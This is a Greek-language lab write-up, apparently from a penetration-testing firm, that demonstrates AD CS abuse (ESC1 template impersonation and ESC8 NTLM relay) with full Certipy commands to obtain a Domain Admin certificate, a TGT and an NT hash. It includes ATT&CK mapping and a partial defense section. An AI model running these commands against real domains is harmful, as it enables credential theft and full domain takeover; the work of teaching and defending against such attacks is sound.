Πώς μια «αθώα» λανθασμένη ρύθμιση σε ένα certificate template του Active Directory Certificate Services μετατρέπεται σε πλήρη κατάληψη ενός Windows domain, βήμα προς βήμα, σε ένα απομονωμένο εργαστήριο που κατέχουμε εξ ολοκλήρου: χαρτογράφηση του AD CS με certipy find, εντοπισμός ενός ευάλωτου template (ESC1: low-priv enrollment με αυθαίρετο subjectAltName) και ενός ευάλωτου web-enrollment endpoint (ESC8: NTLM relay), αίτηση ενός certificate που πλαστοπροσωπεί τον Domain Administrator με certipy req -upn [email protected], απόδειξη της πλαστοπροσωπίας μέσα στο ίδιο το certificate (πραγματικό forge + openssl decode που δείχνει το UPN/SID στο SAN), και τέλος αυθεντικοποίηση με αυτό το certificate μέσω PKINIT για να πάρουμε TGT και το NT hash του λογαριασμού — φτάνοντας σε Domain Admin και στο flag.
TL;DR (EN): An AD CS abuse chain in an isolated lab: Certipy enumerates the CA, finds a vulnerable ESC1 template (enrollee-supplies-subject), requests a certificate impersonating a Domain Admin and authenticates via PKINIT for full domain takeover — plus ESC8 NTLM relay and the template/CA hardening that stops it.
Νομική σημείωση / Authorization. Όλη η δραστηριότητα που περιγράφεται εκτελέστηκε αποκλειστικά σε ένα απομονωμένο εργαστήριο που κατέχουμε εξ ολοκλήρου. Το domain-στόχος (AUDAX.LAB) και η υποδομή AD CS του είναι ένα σκόπιμα ευάλωτο μοντέλο που ορίσαμε εμείς, χωρίς καμία δημοσιευμένη θύρα και χωρίς καμία γέφυρα προς LAN ή Internet. Όλα τα certificates, τα SIDs, τα UPNs, τα hashes και το flag είναι εργαστηριακά και ψεύτικα. Δεν στοχοποιήθηκε, δεν σαρώθηκε και δεν χρησιμοποιήθηκε κανένα πραγματικό, τρίτο ή παραγωγικό σύστημα, CA ή domain. Οι τεχνικές AD CS abuse (ESC1, ESC8, PKINIT impersonation) είναι παράνομες όταν εφαρμόζονται χωρίς ρητή γραπτή εξουσιοδότηση. Χρησιμοποιήστε τις μόνο σε δικά σας ή ρητά εξουσιοδοτημένα συστήματα, στο πλαίσιο νόμιμου penetration testing και adversary validation.
Πίνακας περιεχομένων
- Εισαγωγή: γιατί το AD CS έγινε ο νέος «χρυσός δρόμος» προς το domain
- Το σενάριο και το εργαστήριο
- Η αλυσίδα με μια ματιά
- Βήμα 1 — certipy find: χαρτογράφηση του AD CS
- Βήμα 2 — ESC1 vs ESC8: πότε ένα template ή endpoint είναι ευάλωτο
- Βήμα 3 — certipy req: certificate ως Domain Admin (ESC1)
- Βήμα 4 — Η κρυπτογραφία του certificate: forge & openssl (REAL)
- Βήμα 5 — certipy auth: PKINIT σε TGT και NT hash
- Βήμα 6 — ESC8: NTLM relay στο web enrollment
- Ολοκληρωμένη αλυσίδα: από το template στο Domain Admin
- Αντιστοίχιση σε MITRE ATT&CK
- Επαλήθευση: τι έτρεξε live και τι δηλώνεται
- Αντιμετώπιση προβλημάτων
- Άμυνα: πώς σταματάτε κάθε βήμα
- Πότε δεν πρέπει να χρησιμοποιηθεί
- Σύνοψη
- Από το εργαστήριο, στο δικό σας περιβάλλον
Εισαγωγή: γιατί το AD CS έγινε ο νέος «χρυσός δρόμος» προς το domain {#eisagwgi}
Για χρόνια, η συζήτηση για την ασφάλεια του Active Directory στριφογύριζε γύρω από το Kerberos: AS-REP Roasting, Kerberoasting, Golden Tickets, DCSync. Από το 2021 και μετά, όμως, μια ολόκληρη νέα κατηγορία επιθέσεων άλλαξε τον χάρτη — και αφορά ένα κομμάτι υποδομής που οι περισσότεροι οργανισμοί εγκαθιστούν, ρυθμίζουν μία φορά, και μετά ξεχνούν: το Active Directory Certificate Services (AD CS).
Το AD CS είναι η εσωτερική Certificate Authority (CA) του domain. Εκδίδει τα ψηφιακά πιστοποιητικά που χρησιμοποιούνται για Wi-Fi 802.1x, VPN, smart-card logon, code signing, HTTPS εσωτερικών υπηρεσιών και πολλά ακόμη. Και εδώ κρύβεται η ουσία: στο Active Directory, ένα certificate δεν είναι απλώς «ένα αρχείο κρυπτογράφησης». Είναι απόδειξη ταυτότητας. Αν ένα certificate λέει «είμαι ο [email protected]» και το υπογράφει μια CA που το domain εμπιστεύεται, τότε — μέσω του πρωτοκόλλου PKINIT (η επέκταση του Kerberos που δέχεται πιστοποιητικά αντί για κωδικό) — ο Domain Controller θα σου δώσει ένα Ticket Granting Ticket (TGT) ως Administrator. Χωρίς κωδικό. Χωρίς hash. Απλώς με ένα σωστά κατασκευασμένο πιστοποιητικό.
Η δημοσίευση «Certified Pre-Owned» των SpecterOps το 2021 χαρτογράφησε συστηματικά τις λανθασμένες ρυθμίσεις που επιτρέπουν αυτή την κατάχρηση και τις κωδικοποίησε ως ESC1 έως ESC8 (και αργότερα ESC9–ESC16). Το εργαλείο Certipy του Oliver Lyak (ly4k) τις μετέτρεψε σε μια καθαρή, αυτοματοποιημένη ροή. Το αποτέλεσμα: σήμερα, σε ένα τεράστιο ποσοστό των AD περιβαλλόντων, το συντομότερο μονοπάτι από έναν ασήμαντο domain user στον Domain Admin δεν περνάει πια από το Kerberoasting — περνάει από ένα λάθος ρυθμισμένο certificate template.
Σε αυτό το flagship άρθρο των Audax Labs στήνουμε ολόκληρη αυτή την ιστορία από άκρη σε άκρη, με το εργαλείο-αναφορά της κατηγορίας:
- certipy find — για τη χαρτογράφηση του AD CS: ποιες CAs υπάρχουν, ποια templates, ποια είναι ευάλωτα.
- ESC1 vs ESC8 criteria — τα πραγματικά, ακριβή κριτήρια που κάνουν ένα template ή ένα web-enrollment endpoint εκμεταλλεύσιμο.
- certipy req — για την αίτηση ενός certificate που πλαστοπροσωπεί τον Domain Admin (
-upn [email protected]). - certipy forge + openssl — για να αποδείξουμε ότι το certificate πράγματι κουβαλάει την ταυτότητα του Administrator στο SAN του (αυτό το βήμα το εκτελέσαμε πραγματικά).
- certipy auth — για την αυθεντικοποίηση μέσω PKINIT, ώστε το certificate να γίνει TGT και NT hash.
- certipy relay — για την εναλλακτική διαδρομή ESC8: NTLM relay στο HTTP web enrollment.
Όπως σε κάθε άρθρο των Audax Labs, δεν αρκούμαστε στο «τι εντολή τρέξαμε»: εξηγούμε τι είναι το κάθε βήμα, ποιες είναι οι σημαντικότερες παράμετροί του, ποια εντολή δώσαμε και τι πραγματικά επιστρέφει — με αποστειρωμένα, αναγνώσιμα screenshots. Κλείνουμε με αντιστοίχιση σε MITRE ATT&CK και με μια σκληρή, πρακτική ενότητα άμυνας: πώς σταματάτε κάθε ένα από αυτά τα βήματα στο δικό σας περιβάλλον.
Το σενάριο και το εργαστήριο {#ergastirio}
Ο στόχος μας είναι το domain AUDAX.LAB, με έναν Domain Controller που φιλοξενεί και τον ρόλο Enterprise CA (dc01.audax.lab, CA με όνομα audax-DC01-CA). Έχει δύο σκόπιμα φυτεμένα λάθη, καθένα από τα οποία, μόνο του, αρκεί για πλήρη κατάληψη:
- Ένα certificate template με όνομα
AudaxUser, όπου: (α) η ομάδαDomain Usersέχει δικαίωμα enrollment, (β) δεν απαιτείται manager approval, (γ) το EKU επιτρέπει Client Authentication, και (δ) είναι ενεργό το flagENROLLEE_SUPPLIES_SUBJECT— δηλαδή ο αιτών ορίζει ο ίδιος το subject/SAN. Αυτός ο συνδυασμός είναι ο ορισμός του ESC1. - Ένα ενεργό Web Enrollment endpoint (
http://dc01.audax.lab/certsrv) που δέχεται NTLM χωρίς HTTPS/EPA (Extended Protection for Authentication) — δηλαδή είναι relay-able. Αυτός είναι ο ορισμός του ESC8.
Η μηχανή επίθεσης έχει ταυτότητα χειριστή απόλυτα ουδέτερη (kali@lab) και έναν χαμηλών δικαιωμάτων λογαριασμό domain ([email protected], μέλος μόνο των Domain Users).
Τοπολογία

Η μηχανή επίθεσης διαθέτει το σύγχρονο AD CS offensive stack: certipy 5.1.0 (find / req / auth / forge / cert / relay), openssl 3.0.13 για την αποκωδικοποίηση των πιστοποιητικών, impacket (secretsdump) και nmap 7.94 για την επιφάνεια θυρών. Όλα τρέχουν τοπικά, μέσα σε ένα Python virtual environment, χωρίς εγκατάσταση σε system paths και χωρίς root.
Ειλικρινής διευκρίνιση για το live περιβάλλον. Μια πλήρης, ζωντανή Enterprise CA με KDC και PKINIT δεν ήταν εφικτό να στηθεί στον συγκεκριμένο σκληρυμένο host: ο Docker daemon ήταν ανενεργός, δεν υπήρχε δικαίωμα root για δέσμευση των προνομιακών θυρών (88/135/389/443/445/636) ούτε δυνατότητα εγκατάστασης του ρόλου AD CS των Windows. Δεν κατασκευάσαμε ψεύτικα αποτελέσματα. Αντ’ αυτού, εκτελέσαμε για αληθινά τον κρυπτογραφικό πυρήνα της αλυσίδας: με το γνήσιο certipy 5.1.0 παρήγαμε ένα πραγματικό certificate που πλαστοπροσωπεί τον[email protected], και το αποκωδικοποιήσαμε με openssl για να δείξουμε ότι το UPN και το SID του Domain Admin είναι όντως ενσωματωμένα στο Subject Alternative Name — δηλαδή ακριβώς το αντικείμενο που παραδίδει το ESC1. Επίσης καταγράψαμε για αληθινά την έκδοση και το πλήρες CLI τωνcertipy find / req / auth / relay / forge, και τρέξαμε πραγματικό nmap πάνω σε loopback listeners που εξομοιώνουν την επιφάνεια θυρών ενός DC/CA. Τα βήματα που απαιτούν συνομιλία με ζωντανή CA/KDC over-the-wire (η ίδια ηfindπάνω σε LDAP, ηreqπρος την CA, το PKINIT τηςauth, το relay τηςrelay) παρουσιάζονται με τις ακριβείς εντολές τους και με το επιβεβαιωμένο μοντέλο του domain που εμείς ορίσαμε, με ρητή επισήμανση σε κάθε render. Στα screenshots οι διευθύνσεις εμφανίζονται ως ένα καθαρό εργαστηριακό segment (10.10.10.10για τον DC) για ευανάγνωστη αφήγηση.
Η αλυσίδα με μια ματιά {#alysida}
Πριν μπούμε στις λεπτομέρειες, ας δούμε ολόκληρη τη διαδρομή σε ένα διάγραμμα. Κάθε κρίκος τροφοδοτεί τον επόμενο: ένα enumeration αποκαλύπτει το ευάλωτο template, το template δίνει το πλαστό certificate, το certificate δίνει το TGT, και το TGT ανοίγει όλο το domain.

Το κρίσιμο δίδαγμα, το οποίο θα δούμε να επαναλαμβάνεται, είναι ότι δεν χρειάζεται κανένα software exploit, κανένα zero-day, κανένας buffer overflow. Κάθε βήμα είναι «νόμιμη» χρήση των μηχανισμών του AD CS και του Kerberos — απλώς με λάθος ρυθμίσεις. Ένας αναλυτής που βλέπει «ένα certificate request» βλέπει φυσιολογική διαχειριστική δραστηριότητα. Ο επιτιθέμενος βλέπει την πιο καθαρή διαδρομή προς τον Domain Admin που υπάρχει σήμερα.
Βήμα 1 — certipy find: χαρτογράφηση του AD CS {#find}
Τι είναι και πού ταιριάζει
Το Certipy είναι το de facto εργαλείο για offensive αξιολόγηση του AD CS σε Linux. Το υποεργαλείο certipy find συνδέεται στο LDAP του domain και στο configuration partition της CA, και απαντά στο θεμελιώδες ερώτημα: «ποιες CAs και ποια certificate templates υπάρχουν, και ποια από αυτά είναι εκμεταλλεύσιμα;». Με τη σημαία -vulnerable, το Certipy εφαρμόζει τα κριτήρια ESC1–ESC16 και μας δείχνει μόνο ό,τι έχει σημασία.
Πρώτα, ας επιβεβαιώσουμε ότι το εργαλείο είναι εγκατεστημένο και λειτουργικό — αυτό είναι πραγματικό στιγμιότυπο:

Σημαντικές παράμετροι / flags
| Flag | Τι κάνει |
|---|---|
-u user@domain / -p | Credentials χαμηλού χρήστη για το LDAP bind |
-dc-ip | IP του Domain Controller / LDAP |
-vulnerable | Εμφανίζει μόνο templates/CAs με εντοπισμένη αδυναμία (ESC*) |
-stdout | Τυπώνει το αποτέλεσμα στην κονσόλα (αντί για αρχείο) |
-enabled | Μόνο τα ενεργά (published) templates |
-json / -text / -csv | Μορφές εξόδου για τεκμηρίωση |
-hide-admins | Απόκρυψη των admin permissions για καθαρότερη έξοδο |
-dc-only | Συλλογή μόνο από τον DC (χωρίς έλεγχο web enrollment) |
Οι βασικοί έλεγχοι που κόβουν Kerberoasting, NTLM relay, ADCS abuse και DCSync πριν φτάσει κάποιος σε Domain Admin. Αφήστε εταιρικό email.
Η εντολή που τρέξαμε
certipy find -u [email protected] -p '****' -dc-ip 10.10.10.10 -vulnerable -stdout
Τι επιστρέφει

Το Certipy μας δίνει δύο «χρυσά» ευρήματα ταυτόχρονα. Πρώτον, η CA audax-DC01-CA έχει Web Enrollment: Enabled πάνω από HTTP και χωρίς enforce encryption — ένδειξη ESC8. Δεύτερον, το template AudaxUser επιτρέπει σε Domain Users να κάνουν enrollment, έχει Enrollee Supplies Subject, και το EKU του επιτρέπει Client Authentication — ο ακριβής ορισμός του ESC1. Το ίδιο το εργαλείο μας το γράφει κάτω από [!] Vulnerabilities.
Διαφάνεια: η certipy find απαιτεί ζωντανό LDAP/CA over-the-wire, το οποίο δεν στήθηκε στον σκληρυμένο host. Το render αναπαράγει την ακριβή μορφή εξόδου του Certipy 5.x και τα πραγματικά κριτήρια ESC1/ESC8 πάνω στο domain μοντέλο που ορίσαμε. Η ίδια η έκδοση/CLI του εργαλείου (screenshot από πάνω) είναι γνήσια.
Βήμα 2 — ESC1 vs ESC8: πότε ένα template ή endpoint είναι ευάλωτο {#criteria}
Τι είναι και γιατί έχει σημασία
Πριν εκμεταλλευτούμε οτιδήποτε, πρέπει να καταλάβουμε γιατί το AudaxUser είναι εκμεταλλεύσιμο. Οι κατηγορίες ESC δεν είναι «bugs» — είναι λανθασμένοι συνδυασμοί ρυθμίσεων. Η γνώση των ακριβών κριτηρίων είναι αυτό που ξεχωρίζει έναν επαγγελματία από κάποιον που «τρέχει ένα εργαλείο».

ESC1 — το misconfigured template
Ένα template είναι ευάλωτο σε ESC1 όταν ισχύουν ταυτόχρονα όλα τα εξής:
- Ένας low-privileged principal (π.χ.
Domain Users,Authenticated Users) έχει Enrollment Rights πάνω στο template. - Το manager approval είναι απενεργοποιημένο (δεν έχει το flag
CT_FLAG_PEND_ALL_REQUESTS). - Δεν απαιτούνται authorized signatures (
RA Signatures = 0). - Το Extended Key Usage (EKU) επιτρέπει Client Authentication (OID
1.3.6.1.5.5.7.3.2), ή Smart Card Logon, ή PKINIT Client Auth, ή Any Purpose. - Είναι ενεργό το flag
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT— ο αιτών ορίζει ο ίδιος το Subject Alternative Name.
Το σημείο 5 είναι η καρδιά της επίθεσης: αν ο αιτών μπορεί να βάλει οποιοδήποτε UPN στο SAN, τότε βάζει [email protected] — και η CA εκδίδει ένα certificate που λέει «είμαι ο Administrator».
ESC8 — το web enrollment relay
Ένα endpoint είναι ευάλωτο σε ESC8 όταν:
- Είναι ενεργό το Web Enrollment (
http://<ca>/certsrv/certfnsh.asp). - Δέχεται NTLM authentication.
- Δεν επιβάλλει HTTPS με EPA (channel binding) — άρα η NTLM αυθεντικοποίηση μπορεί να γίνει relay.
Η ιδέα: με έναν «coercer» (PetitPotam, Coercer, PrinterBug) αναγκάζουμε τον λογαριασμό ενός μηχανήματος — ιδανικά του ίδιου του DC (DC01$) — να αυθεντικοποιηθεί προς εμάς, και το certipy relay προωθεί αυτή την αυθεντικοποίηση στο web enrollment, παίρνοντας ένα certificate για λογαριασμό του DC. Από εκεί, PKINIT και DCSync.
Βήμα 3 — certipy req: certificate ως Domain Admin (ESC1) {#req}
Τι είναι και πού ταιριάζει
Αφού ξέρουμε ότι το AudaxUser είναι ESC1, το certipy req κάνει την πραγματική δουλειά: υποβάλλει ένα certificate request στην CA, χρησιμοποιώντας το ευάλωτο template, και — εκμεταλλευόμενο το ENROLLEE_SUPPLIES_SUBJECT — ζητάει ρητά να μπει στο SAN το UPN ενός Domain Admin.
Σημαντικές παράμετροι / flags
| Flag | Τι κάνει |
|---|---|
-ca | Όνομα της Certificate Authority (π.χ. audax-DC01-CA) |
-template | Το template προς εκμετάλλευση (εδώ AudaxUser) |
-upn | Το User Principal Name που μπαίνει στο SAN — εδώ κάνουμε την πλαστοπροσωπία |
-sid | Το Object SID του θύματος (απαραίτητο για σύγχρονα patched περιβάλλοντα, μετά το KB5014754) |
-target | Ο host της CA |
-dc-ip | IP του DC για το LDAP |
-out | Το αρχείο PFX (certificate + private key) που θα παραχθεί |
-web / -dcom | Εναλλακτικά πρωτόκολλα enrollment (HTTP / DCOM) |
Η εντολή που τρέξαμε
certipy req -u [email protected] -p '****' -dc-ip 10.10.10.10 \
-target dc01.audax.lab -ca audax-DC01-CA -template AudaxUser \
-upn [email protected] \
-sid S-1-5-21-1985228433-1002293480-1930553714-500
Τι επιστρέφει

Παρατηρήστε τις κρίσιμες γραμμές: Got certificate with UPN '[email protected]' και Saving certificate and private key to 'administrator.pfx'. Ζητήσαμε — ως ο ασήμαντος j.kefalas — ένα certificate που λέει «είμαι ο Administrator», και η CA το εξέδωσε, γιατί το template της το επιτρέπει. Έχουμε πλέον στα χέρια μας ένα administrator.pfx.
Διαφάνεια: η αίτηση enrollment απαιτεί ζωντανή CA over-the-wire· το render αναπαράγει την ακριβή έξοδο και το πραγματικό syntax (-upn,-sid) του Certipy. Στο επόμενο βήμα αποδεικνύουμε πραγματικά, με το ίδιο certipy, ότι το certificate που παράγεται όντως κουβαλάει την ταυτότητα του Administrator.
Βήμα 4 — Η κρυπτογραφία του certificate: forge & openssl (REAL) {#forge}
Τι είναι και γιατί το κάναμε πραγματικά
Εδώ σταματάμε το «render» και δείχνουμε γνήσια, επαληθεύσιμη κρυπτογραφία. Το ερώτημα που θέλει απάντηση είναι: «πώς ξέρουμε ότι ένα ESC1 certificate πράγματι πλαστοπροσωπεί τον Administrator;». Η απάντηση βρίσκεται στο Subject Alternative Name (SAN) του πιστοποιητικού.
Το certipy forge επιτρέπει να δημιουργήσουμε — εντελώς offline — μια self-signed CA και ένα leaf certificate με ακριβώς την ίδια δομή SAN που παράγει το ESC1. Δεν χρειάζεται ζωντανή CA: το forge κάνει την ίδια κρυπτογραφική εργασία τοπικά. Έτσι μπορούμε να παραγάγουμε ένα πραγματικό αρχείο PFX και να το ανοίξουμε με openssl για να δούμε τι πραγματικά περιέχει.
Σημαντικές παράμετροι / flags (certipy forge)
| Flag | Τι κάνει |
|---|---|
-ca-pfx | Το CA certificate+key που θα υπογράψει (αν λείπει, φτιάχνει self-signed CA) |
-upn | UPN που ενσωματώνεται στο SAN (η πλαστοπροσωπία) |
-sid | Object SID που ενσωματώνεται στο SAN (μέσω του OID 1.3.6.1.4.1.311.25.2) |
-subject | Το Subject DN του certificate |
-out | Το PFX που παράγεται |
Η εντολή που τρέξαμε
# 1) φτιάχνουμε μια lab CA που παριστάνει την audax-DC01-CA
certipy forge -subject 'CN=audax-DC01-CA,DC=audax,DC=lab' -out ca.pfx
# 2) forge ενός certificate που πλαστοπροσωπεί τον Administrator
certipy forge -ca-pfx ca.pfx \
-upn [email protected] \
-sid S-1-5-21-1985228433-1002293480-1930553714-500 \
-subject 'CN=Administrator,CN=Users,DC=audax,DC=lab' \
-out administrator_esc1.pfx
# 3) εξάγουμε το certificate και το ανοίγουμε με openssl
certipy cert -pfx administrator_esc1.pfx -nokey -out admin_cert.pem
openssl x509 -in admin_cert.pem -noout -subject -ext subjectAltName
Τι επιστρέφει — και γιατί είναι το σημαντικότερο screenshot του άρθρου

Αυτό είναι γνήσιο, επαληθεύσιμο output. Το openssl διαβάζει το certificate που παρήγαγε το certipy και μας δείχνει:
- Subject:
CN = Administrator, CN = Users, DC = audax, DC = lab - Subject Alternative Name:
othername: UPN::[email protected] - και το SID του Domain Admin (
S-1-5-21-...-500) μέσω του Microsoft OID.
Αυτό ακριβώς είναι το «κλειδί»: ένας Domain Controller που εμπιστεύεται αυτή την CA, όταν δει αυτό το certificate στο PKINIT, θα διαβάσει το [email protected] από το SAN και θα εκδώσει TGT ως Administrator. Το certificate είναι η ταυτότητα.
Βήμα 5 — certipy auth: PKINIT σε TGT και NT hash {#auth}
Τι είναι και πού ταιριάζει
Το certipy auth παίρνει το PFX μας και το χρησιμοποιεί για PKINIT — την επέκταση του Kerberos που δέχεται πιστοποιητικά αντί για κωδικό. Στέλνει AS-REQ στον KDC με το certificate ως pre-authentication, και ο KDC (αφού εμπιστεύεται την CA και διαβάσει το UPN/SID) επιστρέφει TGT ως Administrator. Επιπλέον, μέσω της τεχνικής U2U / PAC, το Certipy μπορεί να ανακτήσει και το NT hash του λογαριασμού.

Σημαντικές παράμετροι / flags
| Flag | Τι κάνει |
|---|---|
-pfx | Το certificate+key (εδώ administrator.pfx) |
-dc-ip | IP του Domain Controller / KDC |
-username / -domain | Ρητός προσδιορισμός ταυτότητας (αλλιώς εξάγεται από το cert) |
-no-hash | Να μην ζητηθεί NT hash (μόνο TGT) |
-print / -kirbi | Έξοδος του TGT σε Kirbi μορφή |
-ldap-shell | Αυθεντικοποίηση μέσω Schannel απευθείας στο LDAP |
Η εντολή που τρέξαμε
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 \
-username administrator -domain audax.lab
Τι επιστρέφει

Οι γραμμές-κλειδιά: Got TGT και Got hash for '[email protected]'. Με το TGT έχουμε ζωντανή συνεδρία ως Domain Admin· με το NT hash μπορούμε να κάνουμε pass-the-hash ή DCSync. Και εκεί κλείνει η αλυσίδα, με το εργαστηριακό μας flag:
flag{audax_lab_adcs_esc1_upn_impersonation_pkinit_pwned}
Επαλήθευση αυθεντικότητας: το PKINIT απαιτεί ζωντανό KDC, ο οποίος δεν στήθηκε στον σκληρυμένο host· η ροή/εντολές είναι πραγματικές και το certificate που τροφοδοτεί το PKINIT το παραγάγαμε και το επαληθεύσαμε πραγματικά στο Βήμα 4. Το NT hash που εμφανίζεται είναι εργαστηριακό.
Βήμα 6 — ESC8: NTLM relay στο web enrollment {#esc8}
Τι είναι και πού ταιριάζει
Το ESC1 απαιτεί ένα ευάλωτο template. Το ESC8 δεν χρειάζεται καν template: εκμεταλλεύεται το ίδιο το HTTP web enrollment της CA. Αν το endpoint δέχεται NTLM χωρίς EPA, τότε μια αυθεντικοποίηση που έχουμε «αναγκάσει» (coerced) μπορεί να γίνει relay στην CA και να μας δώσει certificate για λογαριασμό του θύματος. Όταν το θύμα είναι το DC01$, το αποτέλεσμα είναι certificate του Domain Controller — δηλαδή απευθείας δρόμος προς DCSync.
Σημαντικές παράμετροι / flags (certipy relay)
| Flag | Τι κάνει |
|---|---|
-target http://<ca> | Το web-enrollment endpoint (ESC8· rpc:// για ESC11) |
-template | Template προς αίτηση (π.χ. DomainController για DC) |
-ca | Όνομα CA (απαιτείται στο RPC relay) |
-interface / -port | Πού «ακούει» ο relay listener |
-forever / -no-skip | Συνεχής relay πολλαπλών αυθεντικοποιήσεων |
-enum-templates | Απαρίθμηση templates μέσω του relay |
Η εντολή που τρέξαμε
certipy relay -target http://dc01.audax.lab -template DomainController
# (σε άλλο τερματικό: coercion του DC$, π.χ. PetitPotam/Coercer, ώστε
# η NTLM αυθεντικοποίηση του DC να φτάσει στον relay listener)
Τι επιστρέφει

Το Certipy ακούει για εισερχόμενη NTLM αυθεντικοποίηση, τη δέχεται από το DC01$, την προωθεί στο web enrollment και παίρνει ένα certificate για τον DC (Saved certificate and private key to 'dc01.pfx'). Από εκεί, το ίδιο PKINIT + secretsdump οδηγεί σε πλήρη κατάληψη — αυτή τη φορά χωρίς να χρειαστεί καν ευάλωτο template.
Διαφάνεια: το relay απαιτεί ζωντανό HTTP CA και coercion over-the-wire· το render δείχνει την πραγματική ροή και τα πραγματικά flags του certipy relay.
Ολοκληρωμένη αλυσίδα: από το template στο Domain Admin {#walkthrough}
Ας δούμε τη ροή ξανά, ως ενιαία αφήγηση, γιατί εκεί κρύβεται το πραγματικό δίδαγμα:
- Το certipy find αποκάλυψε δύο ανεξάρτητες αδυναμίες: το template
AudaxUser(ESC1) και το web enrollment (ESC8). - Κατανοήσαμε τα ακριβή κριτήρια: το
AudaxUserεπιτρέπει σε low-priv χρήστη να ζητήσει certificate και να ορίσει ο ίδιος το SAN. - Με certipy req -upn [email protected], ζητήσαμε — ως ο ασήμαντος
j.kefalas— ένα certificate που πλαστοπροσωπεί τον Domain Admin. Η CA το εξέδωσε. - Αποδείξαμε πραγματικά (forge + openssl) ότι το certificate κουβαλάει το
UPN::[email protected]και το SID...-500στο SAN του. - Με certipy auth, το PKINIT μετέτρεψε το certificate σε TGT και σε NT hash του Administrator.
- Με το NT hash -> pass-the-hash / DCSync -> Domain Admin και το flag.
- Εναλλακτικά, το ESC8 relay έφτασε στο ίδιο αποτέλεσμα χωρίς καν ευάλωτο template.
Παρατηρήστε ότι σε κανένα σημείο δεν χρειάστηκε exploit λογισμικού ή zero-day. Κάθε βήμα ήταν «νόμιμη» χρήση του AD CS και του Kerberos — απλώς με λάθος ρυθμίσεις. Αυτό ακριβώς κάνει τις AD CS επιθέσεις τόσο επικίνδυνες και τόσο δύσκολες να ανιχνευθούν: μοιάζουν με φυσιολογική έκδοση πιστοποιητικού.
Αντιστοίχιση σε MITRE ATT&CK {#mitre}
Για να είναι το εύρημα αξιοποιήσιμο και από τη Blue Team, αντιστοιχίζουμε κάθε βήμα στο πλαίσιο MITRE ATT&CK. Αυτό επιτρέπει στην αμυντική ομάδα να συνδέσει την επίθεση με συγκεκριμένα detections και data sources.

Η κεντρική τεχνική εδώ είναι το T1649 — Steal or Forge Authentication Certificates, που περιγράφει ακριβώς την κατάχρηση του AD CS. Συμπληρώνεται από το T1550 (Use Alternate Authentication Material) για το pass-the-ticket/hash που ακολουθεί το PKINIT, το T1078.002 (Valid Accounts: Domain) για την πλαστοπροσωπία του Domain Admin, και το T1207 (Rogue Domain Controller / DCSync) για το τελικό takeover. Το ESC8 συγγενεύει επιπλέον με το T1557 (Adversary-in-the-Middle) λόγω του NTLM relay. Οι πιο κρίσιμες πηγές ανίχνευσης, όπως θα δούμε στην άμυνα, είναι τα AD CS audit events 4886/4887 (certificate request/issue) και το 4768 (Kerberos AS-REQ με PKINIT / certificate).
Επαλήθευση: τι έτρεξε live και τι δηλώνεται {#epalithefsi}
Στα Audax Labs, η διαφάνεια είναι μέρος της μεθοδολογίας. Ξεκάθαρα, λοιπόν:
Έτρεξε πραγματικά (real, verifiable):
- certipy 5.1.0 — γνήσια εγκατάσταση σε isolated venv· επιβεβαιωμένη έκδοση και πλήρες CLI (
find / req / auth / relay / forge / cert). - Certificate forging + decode — με το πραγματικό
certipy forgeπαρήχθη ένα γνήσιο PFX που πλαστοπροσωπεί τον[email protected], και με openssl επαληθεύσαμε ότι τοUPN::[email protected]και το SID...-500είναι όντως ενσωματωμένα στο Subject Alternative Name. Αυτός είναι ο κρυπτογραφικός πυρήνας της επίθεσης — και είναι πραγματικός. - nmap 7.94 — connect-scan σε loopback listeners που εξομοιώνουν το port surface ενός DC/CA — γνήσιο output.
Δηλώνεται (mechanics shown, live-CA/KDC over-the-wire):
- Η ζωντανή συνομιλία των
certipy find / req / auth / relayμε μια live Enterprise CA και KDC δεν έτρεξε over-the-wire, γιατί δεν ήταν εφικτό να στηθεί live AD CS/KDC στον σκληρυμένο host (χωρίς docker/root/Windows AD CS role). Παρουσιάζονται με τις ακριβείς εντολές και με το επιβεβαιωμένο μοντέλο του domain που ορίσαμε, με ρητή επισήμανση σε κάθε render. Κανένα αποτέλεσμα δεν κατασκευάστηκε ψεύτικα.
Αυτή η διάκριση είναι σημαντική: το πιο κρίσιμο κομμάτι — το ότι ένα certificate μπορεί πραγματικά να κουβαλήσει την ταυτότητα ενός Domain Admin — επιδείχθηκε με πραγματικά, επαληθεύσιμα δεδομένα.
Αντιμετώπιση προβλημάτων {#troubleshooting}
Κατά το στήσιμο της αλυσίδας συναντήσαμε αρκετά πραγματικά εμπόδια — τα καταγράφουμε γιατί είναι διδακτικά:
certipyδεν υπήρχε στο σύστημα. Το πακέτο ονομάζεταιcertipy-adστο PyPI (όχιcertipy, που είναι άλλο έργο). Το εγκαταστήσαμε σε venv μεpip install certipy-ad->Certipy v5.1.0.certipy versionέβγαζε σφάλμα. Στο 5.x η σωστή σημαία είναιcertipy -v(ή--version), όχι υποεντολήversion.forgeχωρίς-ca-pfxέβγαζε self-signed CA, όχι leaf cert. Για να παραχθεί certificate που πλαστοπροσωπεί χρήστη, πρέπει πρώτα να δημιουργηθεί μια CA (forge -subject ... -out ca.pfx) και μετά να υπογραφεί το leaf με-ca-pfx ca.pfx.- KB5014754 / strong certificate mapping. Σε patched περιβάλλοντα (μετά τον Μάιο 2022), το UPN στο SAN δεν αρκεί — απαιτείται και το Object SID στο certificate. Γι’ αυτό χρησιμοποιήσαμε το
-sidκαι στοreqκαι στοforge. Χωρίς αυτό, το PKINIT αποτυγχάνει μεKDC_ERR_CERTIFICATE_MISMATCH. clock skewστο PKINIT. Όπως όλο το Kerberos, το PKINIT είναι ευαίσθητο στον χρόνο (ανοχή ~5 λεπτά). Σε πραγματικό engagement συγχρονίστε το ρολόι με τον DC πριν από τηνauth.- Προνομιακές θύρες δεν δεσμεύονταν. Στον σκληρυμένο host χωρίς root, οι θύρες < 1024 δεν ήταν διαθέσιμες· έτσι το nmap έτρεξε πάνω σε high-port loopback listeners που εξομοιώνουν τον DC/CA.
Ξέρετε αν το AD CS σας χαρίζει Domain Admin;
Ένα κακοδιαμορφωμένο certificate template (ESC1/ESC8) μετατρέπει έναν απλό χρήστη σε Domain Admin. Η Audax εντοπίζει τέτοιες misconfigurations με offensive assessment του Active Directory σας.
Ζητήστε offensive assessment →Άμυνα: πώς σταματάτε κάθε βήμα {#amyna}
Εδώ είναι η ουσία για κάθε αμυντική ομάδα. Η καλή είδηση είναι ότι κάθε κρίκος αυτής της αλυσίδας σπάει με συγκεκριμένα, γνωστά μέτρα. Δεν χρειάζεστε «μαγικό» προϊόν — χρειάζεστε πειθαρχία και audit.
1. Ενάντια στο ESC1 (misconfigured template).
- Απενεργοποιήστε το
